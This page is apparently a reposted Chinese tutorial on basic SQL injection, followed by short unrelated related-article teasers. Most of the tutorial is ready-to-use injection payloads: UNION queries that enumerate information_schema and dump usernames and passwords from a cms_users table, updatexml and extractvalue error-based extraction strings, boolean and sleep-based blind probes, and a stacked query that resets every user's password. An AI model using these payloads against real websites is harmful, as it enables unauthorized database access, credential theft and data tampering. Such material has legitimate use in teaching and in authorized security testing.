当前位置: 首页 > news >正文

sql注入的基本手法

目的 

通过sqk注入获取数据内容 

掌握sql注入基本手法 

我们这里使用

1.联合注入  

就是利用union select  语句   两条语句 同时执行 实现跨库跨表查询 

条件 

两条select语句查询结果具有相同列数 

对应列数数据类型相同 

简单的步骤 

1.目标分析  

?id=32

?id=33    

这一步看看有没有页面变化   其实就是mysql数据库执行  如果有

第一步  

查看列数   

?id=32 order  by   1 

 一致改变数字   直到页面一篇空白  没有内容      

判断出来一共有多少列     

如果到20就显示空白  那末20-1 就是19 是他的极限  

第二步

判断回显位置

把第一条select查询语句变成假的   

因为只要前端报错   后面的语句才会执行 

?id=-32(假的) union select  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

?id=32 and 1=2 (这个也是假)

这一步会把 回显的位置爆破出来 

第三步 

数据库敏感信息

也可以  ?id=-33

?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15   在回显位置查看数据库名字

?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,version(),12,13,14,15  查看版本 

?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,@@datadir,12,13,14,15  查看数据库系统变量 

?id=32 and 1=2(只为假) union select 1,2,3,4,5,6,7,8,9,10,current_user(),12,13,14,15 1 2 3 4  函数返回的是当前会话中的用户身份信息

获取管理员和密码  必须报错前面的值

information_schema.tables  自带数据库 (库名字  表名字  列名字 )

数据库名字    

?id=-33 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15

  表名字

1.查看数据库所有的表     group by   

?id=-33 UNION SELECT 1,2,count(*)(统计),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables(mysql的自带数据库) where table_schema=database()(条件是现在的数据库)   这句话的意思   

2.查看表的名字   16进制  bp可以解码 

?id=-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where  table_schema=database() limit 0,1   16进制查看0列1行

   

?id=-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() limit 1,1   查看1行1列 

2.查出所有的表的 它将从当前数据库中的所有表中获取信息

?id=-33 UNION SELECT 1,2,hex(group_concat(table_name))(分组查询),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() 

记住一定要解码  负责就是16进制   bp或者网站 

3.查看列数 

?id=-33 UNION SELECT 1,2,hex(group_concat(column_name))(合并列名),4,5,6,7,8,9,10,11,12,13,14,15 from

information_schema.columns where table_schema=database() and table_name='cms_users’

查看列数 在这个表里  在这个数据库            

4.查看账户和密码 

id=-33 UNION SELECT 1,2,hex(concat(username,0x3a,password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users   查看表里的账户和密码 

一定要解密     

报错注入 

在注入点判断过程中  发现sql注入的报错语句   显示到页面 

在错误信息里执行sql语句 

案例   

?id=33‘    数据库报错   

?id=33’‘  数据库  

直接使用 

第一种方法   group by  

查看数据库   页面并且报错 

报错页面 

前提 

?id=33’(闭合字段) 爆数据库的错  并且回显到页面 

第一中 updatexml  

mysql数据库  

爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

第二种  extractvalue 

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

三.布尔盲注 

没有回显    直接猜    效率极低  

1. id=2'(闭合) and database()='xxx' --+   猜数据库名字    页面正常 

2.?id=2' and length(database())=8 --+   猜长度   页面正常 

3.猜数据库的字目  ascill值 

id=2' and ascii(substr(database(),1,1))=115 --+    第一个数字 

' and ascii(substr(database(),2,1))=101 --+     第二个数字 

四.延时注入  

实验sleep的延时性  以时间线做判断条件 

?id=2' and if(length(database())>1,sleep(5),1) --+   看看页面延时  如果数据库名字大于1睡5s

?id=2' and if(substr(database(),3,1)='c',sleep(5),1) --+  如果是第三个列的第一个字符  是不是为c 

五.堆叠查询

 多条语句执行     真实场景极少 

堆叠注入和union的区别在于,union后只能跟select,而堆叠后面可以使用insert,update, create,delete等常规数据库语句

?id=2';update users set password='123456'--+    

相关文章:

sql注入的基本手法

目的 通过sqk注入获取数据内容 掌握sql注入基本手法 我们这里使用 1.联合注入 就是利用union select 语句 两条语句 同时执行 实现跨库跨表查询 条件 两条select语句查询结果具有相同列数 对应列数数据类型相同 简单的步骤 1.目标分析 ?id…...

8.1 C++ 标准输入输出流

C/C语言是一种通用的编程语言,具有高效、灵活和可移植等特点。C语言主要用于系统编程,如操作系统、编译器、数据库等;C语言是C语言的扩展,增加了面向对象编程的特性,适用于大型软件系统、图形用户界面、嵌入式系统等。…...

hive往es映射表写数据报错

hive是基于Hadoop的一个数据仓库工具,用来进行数据提取、转化、加载,这是一种可以存储、查询和分析存储在Hadoop中的大规模数据的机制。hive数据仓库工具能将结构化的数据文件映射为一张数据库表,并提供SQL查询功能,能将SQL语句转…...

2023年【广东省安全员A证第四批(主要负责人)】考试试卷及广东省安全员A证第四批(主要负责人)模拟考试

题库来源:安全生产模拟考试一点通公众号小程序 广东省安全员A证第四批(主要负责人)考试试卷根据新广东省安全员A证第四批(主要负责人)考试大纲要求,安全生产模拟考试一点通将广东省安全员A证第四批&#x…...

YOLOv5算法改进(15)— 如何去更换Neck网络(包括代码+添加步骤+网络结构图)

前言:Hello大家好,我是小哥谈。在学习完了如何去更换主干网络之后,接着就让我们通过案例的方式去学习下如何去更换Neck网络。本篇文章的特色就是比较浅显易懂,附加了很多的网络结构图,通过结构图的形式向大家娓娓道来,希望大家学习之后能够有所收获!🌈 前期回顾: YO…...

用Nginx搭建一个具备缓存功能的反向代理服务

在同一台服务器上,使用nginx提供服务,然后使用openresty提供反向代理服务。 参考《Ubuntu 20.04使用源码安装nginx 1.14.0》安装nginx。 参考《用Nginx搭建一个可用的静态资源Web服务器》搭建静态资源Web服务器,但是/nginx/conf/nginx.conf里…...

YOLOv5改进实战 | 更换主干网络Backbone(三)之轻量化模型Shufflenetv2

前言 轻量化网络设计是一种针对移动设备等资源受限环境的深度学习模型设计方法。下面是一些常见的轻量化网络设计方法: 网络剪枝:移除神经网络中冗余的连接和参数,以达到模型压缩和加速的目的。分组卷积:将卷积操作分解为若干个较小的卷积操作,并将它们分别作用于输入的不…...

【Markdown】 Markdown 操作备忘录

To Do List 显示目前todo list 的状态 getLogger() 单例类, 通过引入模块,获取单例日志对象 结果可视化调研 模型结果保存及测试 - [ ] getLogger() 单例类, 通过引入模块,获取单例日志对象 - [ ] 结果可视化调研 - [x] 模型结果…...

【自动化测试】基于Selenium + Python的web自动化框架

一、什么是Selenium? Selenium是一个基于浏览器的自动化工具,她提供了一种跨平台、跨浏览器的端到端的web自动化解决方案。Selenium主要包括三部分:Selenium IDE、Selenium WebDriver 和Selenium Grid:  1、Selenium IDE&…...

zookeeper连接客户端操作数据时报错Socket is not connected

文章目录 一、报错信息二、问题描述三、原因分析:四、解决方案: 一、报错信息 DEBUG org.apache.zookeeper.ClientCnxnSocketNIO - Ignoring exception during shutdown input java.net.SocketException: Socket is not connectedat sun.nio.ch.Net.tra…...

mysql select语句中from 之后跟查询语句

概念:将from后面的查询语句放在FROM的后面,则查询到的结果,就会被当成一个“表”; 这里有一个特别要注意的地方,放在FROM后面的子查询,必须要加别名。 select dui.id,dui.party_service_id mes_id, dui.party_id,dui.…...

Yolov8小目标检测(26):多尺度空洞注意力(MSDA) | 中科院一区顶刊 DilateFormer 2023.9

💡💡💡本文独家改进:多尺度空洞注意力(MSDA)采用多头的设计,在不同的头部使用不同的空洞率执行滑动窗口膨胀注意力(SWDA),全网独家首发,创新力度十足,适合科研 多尺度空洞注意力(MSDA) | 亲测在红外弱小目标检测涨点,map@0.5 从0.755提升至0.784 💡�…...

NLP:从头开始的文本矢量化方法

一、说明 NLP 项目使用文本,但机器学习算法不能使用文本,除非将其转换为数字表示。这种表示通常称为向量,它可以应用于文本的任何合理单位:单个标记、n-gram、句子、段落,甚至整个文档。 在整个语料库的统计 NLP 中&am…...

Kotlin 中 apply、let、also、run的区别

apply apply 函数接收一个目标并回来该目标自身。它答应您在目标上履行一些操作&#xff0c;同时仍然回来原始目标。 fun <T> T.apply(block: T.() -> Unit): TT 是目标的类型&#xff0c;block 是一个 lambda 表达式&#xff0c;能够在该目标上履行一些操作。在这个…...

Android JKS MD5 SHA1 公钥生成 私钥生成 APP备案 内容获取

1 查看 jks keytool -list -v -keystore /Users/lipengfei/Desktop/android/androidproject.jks密钥库类型: jks 密钥库提供方: SUN您的密钥库包含 1 个条目别名: ddgj 创建日期: 2018-11-16 条目类型: PrivateKeyEntry 证书链长度: 1 证书[1]: 所有者: CNcn, OUcn, Ocn, Lcn,…...

常用linux的命令(持续更新)

1.防火墙相关 centos7 防火墙 查状态&#xff1a;systemctl status firewalld.service 关闭&#xff1a;systemctl disable firewalld.service 重启生效 关闭&#xff1a;systemctl stop firewalld.service 马上生效 systemctl stop firewalld 临时关闭防火墙 systemctl disabl…...

《动手学深度学习 Pytorch版》 8.7 通过时间反向传播

8.7.1 循环神经网络的梯度分析 本节主要探讨梯度相关问题&#xff0c;因此对模型及其表达式进行了简化&#xff0c;进行如下表示&#xff1a; h t f ( x t , h t − 1 , w h ) o t g ( h t , w o ) \begin{align} h_t&f(x_t,h_{t-1},w_h)\\ o_t&g(h_t,w_o) \end{ali…...

2023-10-20 游戏开发-cocos旧版本2.0.6-下载地址-记录

官方下载地址: Cocos Creator 下载 - 轻量高效的开发引擎 Tags cocos/cocos-engine GitHub cocos creater 旧版本: Tool/Package/REAMDE.md adofsauron/CocosCreatorFAQ - Gitee.com v2.0.6版本: Mac版&#xff1a;http://cocos2d-x.org/filedown/CocosStudioForMac-v2.0.…...

Python 框架学习 Django篇 (三) 链接数据库

只要你是做后端开发的&#xff0c;那么就离不开各种数据库&#xff0c;Django框架对各种数据库都非常友好&#xff0c;比如常见的PostgreSQL、MySQL、SQLite、Oracle&#xff0c;django都对他们提供了统一调用api&#xff0c;我们这里主要使用mysql数据库作为演示 一、ORM机制 …...

【debug】安装diffusion的bug解决合集

环境问题 ImportError: cannot import name ‘CLIPImageProcessor’ from ‘transformers’ (D:\Python\lib\site-packages\transformers_init_.py) https://github.com/huggingface/transformers/issues/23340 解决&#xff1a;查看更详细信息&#xff0c;安装环境 transfor…...

UE5 学习系列(三)创建和移动物体

这篇博客是该系列的第三篇&#xff0c;是在之前两篇博客的基础上展开&#xff0c;主要介绍如何在操作界面中创建和拖动物体&#xff0c;这篇博客跟随的视频链接如下&#xff1a; B 站视频&#xff1a;s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...

2021-03-15 iview一些问题

1.iview 在使用tree组件时&#xff0c;发现没有set类的方法&#xff0c;只有get&#xff0c;那么要改变tree值&#xff0c;只能遍历treeData&#xff0c;递归修改treeData的checked&#xff0c;发现无法更改&#xff0c;原因在于check模式下&#xff0c;子元素的勾选状态跟父节…...

HTML前端开发:JavaScript 常用事件详解

作为前端开发的核心&#xff0c;JavaScript 事件是用户与网页交互的基础。以下是常见事件的详细说明和用法示例&#xff1a; 1. onclick - 点击事件 当元素被单击时触发&#xff08;左键点击&#xff09; button.onclick function() {alert("按钮被点击了&#xff01;&…...

大语言模型(LLM)中的KV缓存压缩与动态稀疏注意力机制设计

随着大语言模型&#xff08;LLM&#xff09;参数规模的增长&#xff0c;推理阶段的内存占用和计算复杂度成为核心挑战。传统注意力机制的计算复杂度随序列长度呈二次方增长&#xff0c;而KV缓存的内存消耗可能高达数十GB&#xff08;例如Llama2-7B处理100K token时需50GB内存&a…...

面向无人机海岸带生态系统监测的语义分割基准数据集

描述&#xff1a;海岸带生态系统的监测是维护生态平衡和可持续发展的重要任务。语义分割技术在遥感影像中的应用为海岸带生态系统的精准监测提供了有效手段。然而&#xff0c;目前该领域仍面临一个挑战&#xff0c;即缺乏公开的专门面向海岸带生态系统的语义分割基准数据集。受…...

逻辑回归暴力训练预测金融欺诈

简述 「使用逻辑回归暴力预测金融欺诈&#xff0c;并不断增加特征维度持续测试」的做法&#xff0c;体现了一种逐步建模与迭代验证的实验思路&#xff0c;在金融欺诈检测中非常有价值&#xff0c;本文作为一篇回顾性记录了早年间公司给某行做反欺诈预测用到的技术和思路。百度…...

windows系统MySQL安装文档

概览&#xff1a;本文讨论了MySQL的安装、使用过程中涉及的解压、配置、初始化、注册服务、启动、修改密码、登录、退出以及卸载等相关内容&#xff0c;为学习者提供全面的操作指导。关键要点包括&#xff1a; 解压 &#xff1a;下载完成后解压压缩包&#xff0c;得到MySQL 8.…...

uniapp 集成腾讯云 IM 富媒体消息(地理位置/文件)

UniApp 集成腾讯云 IM 富媒体消息全攻略&#xff08;地理位置/文件&#xff09; 一、功能实现原理 腾讯云 IM 通过 消息扩展机制 支持富媒体类型&#xff0c;核心实现方式&#xff1a; 标准消息类型&#xff1a;直接使用 SDK 内置类型&#xff08;文件、图片等&#xff09;自…...

算法打卡第18天

从中序与后序遍历序列构造二叉树 (力扣106题) 给定两个整数数组 inorder 和 postorder &#xff0c;其中 inorder 是二叉树的中序遍历&#xff0c; postorder 是同一棵树的后序遍历&#xff0c;请你构造并返回这颗 二叉树 。 示例 1: 输入&#xff1a;inorder [9,3,15,20,7…...

面试高频问题

文章目录 &#x1f680; 消息队列核心技术揭秘&#xff1a;从入门到秒杀面试官1️⃣ Kafka为何能"吞云吐雾"&#xff1f;性能背后的秘密1.1 顺序写入与零拷贝&#xff1a;性能的双引擎1.2 分区并行&#xff1a;数据的"八车道高速公路"1.3 页缓存与批量处理…...